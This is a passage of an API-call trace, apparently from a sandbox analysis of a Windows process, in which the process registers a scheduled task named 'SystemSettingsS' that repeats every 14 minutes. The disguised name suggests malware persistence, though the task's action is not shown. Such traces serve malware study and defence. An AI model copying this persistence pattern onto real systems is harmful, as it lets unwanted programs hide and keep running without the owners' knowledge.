_Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.113] lstrlenW (lpString="f") returned 1 [0133.113] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.113] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|it|") returned 4 [0133.113] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.113] lstrlenW (lpString="|it|") returned 4 [0133.113] lstrlenW (lpString="|f|") returned 3 [0133.113] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0133.113] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.113] lstrlenW (lpString="et") returned 2 [0133.113] lstrlenW (lpString="et") returned 2 [0133.113] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.113] lstrlenW (lpString="f") returned 1 [0133.113] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.113] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|et|") returned 4 [0133.113] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.113] lstrlenW (lpString="|et|") returned 4 [0133.113] lstrlenW (lpString="|f|") returned 3 [0133.114] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0133.114] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.114] lstrlenW (lpString="k") returned 1 [0133.114] lstrlenW (lpString="k") returned 1 [0133.114] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.114] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.114] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|k|") returned 3 [0133.114] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.114] lstrlenW (lpString="|k|") returned 3 [0133.114] lstrlenW (lpString="|f|") returned 3 [0133.114] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0133.114] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.114] lstrlenW (lpString="du") returned 2 [0133.114] lstrlenW (lpString="du") returned 2 [0133.114] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.114] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.114] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|du|") returned 4 [0133.114] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.114] lstrlenW (lpString="|du|") returned 4 [0133.114] lstrlenW (lpString="|f|") returned 3 [0133.114] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0133.114] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.115] lstrlenW (lpString="ri") returned 2 [0133.115] lstrlenW (lpString="ri") returned 2 [0133.115] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.115] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.115] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ri|") returned 4 [0133.115] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.115] lstrlenW (lpString="|ri|") returned 4 [0133.115] lstrlenW (lpString="|f|") returned 3 [0133.115] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0133.115] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.115] lstrlenW (lpString="z") returned 1 [0133.115] lstrlenW (lpString="z") returned 1 [0133.115] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.115] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.115] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|z|") returned 3 [0133.115] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.115] lstrlenW (lpString="|z|") returned 3 [0133.115] lstrlenW (lpString="|f|") returned 3 [0133.115] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0133.115] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.115] lstrlenW (lpString="f") returned 1 [0133.115] lstrlenW (lpString="f") returned 1 [0133.115] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.116] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.116] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.116] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.116] lstrlenW (lpString="|f|") returned 3 [0133.116] lstrlenW (lpString="|f|") returned 3 [0133.116] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0133.116] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.116] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.116] GetProcessHeap () returned 0x1685a9b0000 [0133.116] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb680 [0133.116] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.116] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0133.116] lstrlenW (lpString="MINUTE") returned 6 [0133.116] GetProcessHeap () returned 0x1685a9b0000 [0133.116] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9baa20 [0133.116] GetThreadLocale () returned 0x409 [0133.116] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0133.117] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.117] GetProcessHeap () returned 0x1685a9b0000 [0133.117] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x1fc) returned 0x1685a9bac80 [0133.117] GetProcessHeap () returned 0x1685a9b0000 [0133.117] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb920 [0133.117] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.117] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0133.117] lstrlenW (lpString="First") returned 5 [0133.117] GetProcessHeap () returned 0x1685a9b0000 [0133.117] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xc) returned 0x1685a9babe0 [0133.117] GetProcessHeap () returned 0x1685a9b0000 [0133.117] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb410 [0133.117] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.117] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0133.117] lstrlenW (lpString="Second") returned 6 [0133.117] GetProcessHeap () returned 0x1685a9b0000 [0133.117] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9baba0 [0133.117] GetProcessHeap () returned 0x1685a9b0000 [0133.117] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb6b0 [0133.117] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.118] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0133.118] lstrlenW (lpString="Third") returned 5 [0133.118] GetProcessHeap () returned 0x1685a9b0000 [0133.118] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xc) returned 0x1685a9ba940 [0133.118] GetProcessHeap () returned 0x1685a9b0000 [0133.118] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bbb00 [0133.118] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.118] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0133.118] lstrlenW (lpString="Fourth") returned 6 [0133.118] GetProcessHeap () returned 0x1685a9b0000 [0133.118] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9ba980 [0133.118] GetProcessHeap () returned 0x1685a9b0000 [0133.118] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb800 [0133.118] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.118] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0133.118] lstrlenW (lpString="Last") returned 4 [0133.118] GetProcessHeap () returned 0x1685a9b0000 [0133.118] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xa) returned 0x1685a9ba8e0 [0133.118] lstrlenW (lpString="14") returned 2 [0133.118] _wtol (_String="14") returned 14 [0133.119] GetProcessHeap () returned 0x1685a9b0000 [0133.119] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb950 [0133.123] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.123] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0133.123] lstrlenW (lpString="First") returned 5 [0133.123] GetProcessHeap () returned 0x1685a9b0000 [0133.123] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xc) returned 0x1685a9baae0 [0133.123] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.123] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0133.123] lstrlenW (lpString="Second") returned 6 [0133.123] GetProcessHeap () returned 0x1685a9b0000 [0133.123] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9babc0 [0133.123] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.123] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0133.123] lstrlenW (lpString="Third") returned 5 [0133.123] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.123] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0133.123] lstrlenW (lpString="Fourth") returned 6 [0133.123] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.124] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0133.124] lstrlenW (lpString="Last") returned 4 [0133.124] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x22531ac620, cchData=128 | out: lpLCData="0") returned 2 [0133.124] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.124] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0133.124] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0133.124] GetProcessHeap () returned 0x1685a9b0000 [0133.124] GetProcessHeap () returned 0x1685a9b0000 [0133.124] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9babe0) returned 1 [0133.124] GetProcessHeap () returned 0x1685a9b0000 [0133.124] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9babe0) returned 0xc [0133.124] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9babe0) returned 1 [0133.125] GetProcessHeap () returned 0x1685a9b0000 [0133.125] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x16) returned 0x1685a9ba960 [0133.125] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x22531ac640, cchData=128 | out: lpLCData="0") returned 2 [0133.125] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.125] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0133.125] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0133.125] GetProcessHeap () returned 0x1685a9b0000 [0133.125] GetProcessHeap () returned 0x1685a9b0000 [0133.125] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9baba0) returned 1 [0133.125] GetProcessHeap () returned 0x1685a9b0000 [0133.125] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9baba0) returned 0xe [0133.125] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9baba0) returned 1 [0133.125] GetProcessHeap () returned 0x1685a9b0000 [0133.125] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x16) returned 0x1685a9baaa0 [0133.125] GetLocalTime (in: lpSystemTime=0x22531ac878 | out: lpSystemTime=0x22531ac878*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x36, wMilliseconds=0x112)) [0133.125] lstrlenW (lpString="") returned 0 [0133.126] GetLocalTime (in: lpSystemTime=0x22531ad268 | out: lpSystemTime=0x22531ad268*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x36, wMilliseconds=0x112)) [0133.126] lstrlenW (lpString="") returned 0 [0133.126] lstrlenW (lpString="") returned 0 [0133.126] lstrlenW (lpString="") returned 0 [0133.126] lstrlenW (lpString="") returned 0 [0133.126] lstrlenW (lpString="14") returned 2 [0133.126] _wtol (_String="14") returned 14 [0133.126] lstrlenW (lpString="") returned 0 [0133.126] lstrlenW (lpString="") returned 0 [0133.126] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0133.139] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0133.221] CoCreateInstance (in: rclsid=0x7ff6b6f79e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6b6f79e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x22531acfc0 | out: ppv=0x22531acfc0*=0x1685ac85700) returned 0x0 [0133.245] TaskScheduler:ITaskService:Connect (This=0x1685ac85700, serverName=0x22531ad0b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x22531ad080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x22531ad060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x22531ad040*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0133.296] TaskScheduler:ITaskService:GetFolder (in: This=0x1685ac85700, Path=0x0, ppFolder=0x22531ad1a0 | out: ppFolder=0x22531ad1a0*=0x1685ac85880) returned 0x0 [0133.298] TaskScheduler:ITaskService:NewTask (in: This=0x1685ac85700, flags=0x0, ppDefinition=0x22531ad178 | out: ppDefinition=0x22531ad178*=0x1685ac85900) returned 0x0 [0133.299] ITaskDefinition:get_Actions (in: This=0x1685ac85900, ppActions=0x22531ad0c0 | out: ppActions=0x22531ad0c0*=0x1685ac85990) returned 0x0 [0133.299] IActionCollection:Create (in: This=0x1685ac85990, Type=0, ppAction=0x22531ad100 | out: ppAction=0x22531ad100*=0x1685ac85da0) returned 0x0 [0133.300] IUnknown:Release (This=0x1685ac85da0) returned 0x1 [0133.300] IUnknown:Release (This=0x1685ac85990) returned 0x1 [0133.300] ITaskDefinition:get_Triggers (in: This=0x1685ac85900, ppTriggers=0x22531acc70 | out: ppTriggers=0x22531acc70*=0x1685ac85c50) returned 0x0 [0133.300] ITriggerCollection:Create (in: This=0x1685ac85c50, Type=1, ppTrigger=0x22531acc58 | out: ppTrigger=0x22531acc58*=0x1685ac85e10) returned 0x0 [0133.300] lstrlenW (lpString="14") returned 2 [0133.300] _vsnwprintf (in: _Buffer=0x22531acbe0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x22531acbd8 | out: _Buffer="PT14M") returned 5 [0133.300] ITrigger:get_Repetition (in: This=0x1685ac85e10, ppRepeat=0x22531acc50 | out: ppRepeat=0x22531acc50*=0x1685ac85ea0) returned 0x0 [0133.301] IRepetitionPattern:put_Interval (This=0x1685ac85ea0, Interval="PT14M") returned 0x0 [0133.301] IUnknown:Release (This=0x1685ac85ea0) returned 0x1 [0133.301] _vsnwprintf (in: _Buffer=0x22531acba0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x22531acb78 | out: _Buffer="2023-09-19T17:14:00") returned 19 [0133.301] ITrigger:put_StartBoundary (This=0x1685ac85e10, StartBoundary="2023-09-19T17:14:00") returned 0x0 [0133.301] lstrlenW (lpString="") returned 0 [0133.301] lstrlenW (lpString="") returned 0 [0133.301] lstrlenW (lpString="") returned 0 [0133.301] lstrlenW (lpString="") returned 0 [0133.301] IUnknown:Release (This=0x1685ac85e10) returned 0x1 [0133.301] IUnknown:Release (This=0x1685ac85c50) returned 0x1 [0133.301] ITaskDefinition:get_Settings (in: This=0x1685ac85900, ppSettings=0x22531ad100 | out: ppSettings=0x22531ad100*=0x1685ac85ad0) returned 0x0 [0133.302] lstrlenW (lpString="") returned 0 [0133.302] IUnknown:Release (This=0x1685ac85ad0) returned 0x3 [0133.302] GetLocalTime (in: lpSystemTime=0x22531acfb8 | out: lpSystemTime=0x22531acfb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x36, wMilliseconds=0x1be)) [0133.302] ResolveDelayLoadedAPI () returned 0x7ffb1c453fa0 [0133.302] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x22531acfd0, nSize=0x22531acfa8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x22531acfa8) returned 0x1 [0133.303] ITaskDefinition:get_RegistrationInfo (in: This=0x1685ac85900, ppRegistrationInfo=0x22531acfa0 | out: ppRegistrationInfo=0x22531acfa0*=0x1685ac85a10) returned 0x0 [0133.303] IRegistrationInfo:put_Author (This=0x1685ac85a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0133.303] _vsnwprintf (in: _Buffer=0x22531acfd0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x22531acf68 | out: _Buffer="2023-09-19T17:14:55") returned 19 [0133.303] IRegistrationInfo:put_Date (This=0x1685ac85a10, Date="2023-09-19T17:14:55") returned 0x0 [0133.303] IUnknown:Release (This=0x1685ac85a10) returned 0x1 [0133.304] malloc (_Size=0x18) returned 0x1685ac85f20 [0133.304] free (_Block=0x1685ac85f20) [0133.304] lstrlenW (lpString="") returned 0 [0133.304] malloc (_Size=0x18) returned 0x1685ac85f20 [0133.304] ITaskFolder:RegisterTaskDefinition (in: This=0x1685ac85880, Path="SystemSettingsS", pDefinition=0x1685ac85900, flags=6, UserId=0x22531ad210*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x22531ad1f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x22531ad230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x22531ad1d0 | out: ppTask=0x22531ad1d0*=0x1685ac86fd0) returned 0x0 [0133.523] free (_Block=0x1685ac85f20) [0133.523] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.523] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0133.524] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0133.524] GetProcessHeap () returned 0x1685a9b0000 [0133.524] GetProcessHeap () returned 0x1685a9b0000 [0133.524] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba940) returned 1 [0133.524] GetProcessHeap () returned 0x1685a9b0000 [0133.524] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba940) returned 0xc [0133.524] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba940) returned 1 [0133.524] GetProcessHeap () returned 0x1685a9b0000 [0133.524] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x82) returned 0x1685a9d58b0 [0133.524] _vsnwprintf (in: _Buffer=0x22531ad880, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x22531ad118 | out: _Buffer="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n") returned 77 [0133.524] __iob_func () returned 0x7ffb1de6e210 [0133.524] _fileno (_File=0x7ffb1de6e240) returned -2 [0133.524] _errno () returned 0x1685ac80840 [0133.525] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0133.525] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.525] lstrlenW (lpString="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n") returned 77 [0133.525] GetConsoleOutputCP () returned 0x0 [0133.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0133.525] GetConsoleOutputCP () returned 0x0 [0133.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x7ff6b6f88630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0133.526] fprintf (in: _File=0x7ffb1de6e240, _Format="%s" | out: _File=0x7ffb1de6e240) returned 77 [0133.529] fflush (in: _File=0x7ffb1de6e240 | out: _File=0x7ffb1de6e240) returned -1 [0133.529] IUnknown:Release (This=0x1685ac86fd0) returned 0x0 [0133.529] TaskScheduler:IUnknown:Release (This=0x1685ac85900) returned 0x0 [0133.530] TaskScheduler:IUnknown:Release (This=0x1685ac85880) returned 0x0 [0133.530] TaskScheduler:IUnknown:Release (This=0x1685ac85700) returned 0x0 [0133.530] lstrlenW (lpString="") returned 0 [0133.530] lstrlenW (lpString="14") returned 2 [0133.530] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0133.530] GetProcessHeap () returned 0x1685a9b0000 [0133.530] GetProcessHeap () returned 0x1685a9b0000 [0133.530] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bac80) returned 1 [0133.531] GetProcessHeap () returned 0x1685a9b0000 [0133.531] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bac80) returned 0x1fc [0133.532] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bac80) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4e90) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4e90) returned 0x6 [0133.532] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4e90) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba8c0) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba8c0) returned 0x16 [0133.532] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba8c0) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba900) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba900) returned 0x18 [0133.532] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba900) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbad0) returned 1 [0133.532] GetProcessHeap () returned 0x1685a9b0000 [0133.532] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bbad0) returned 0x20 [0133.533] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbad0) returned 1 [0133.533] GetProcessHeap () returned 0x1685a9b0000 [0133.533] GetProcessHeap () returned 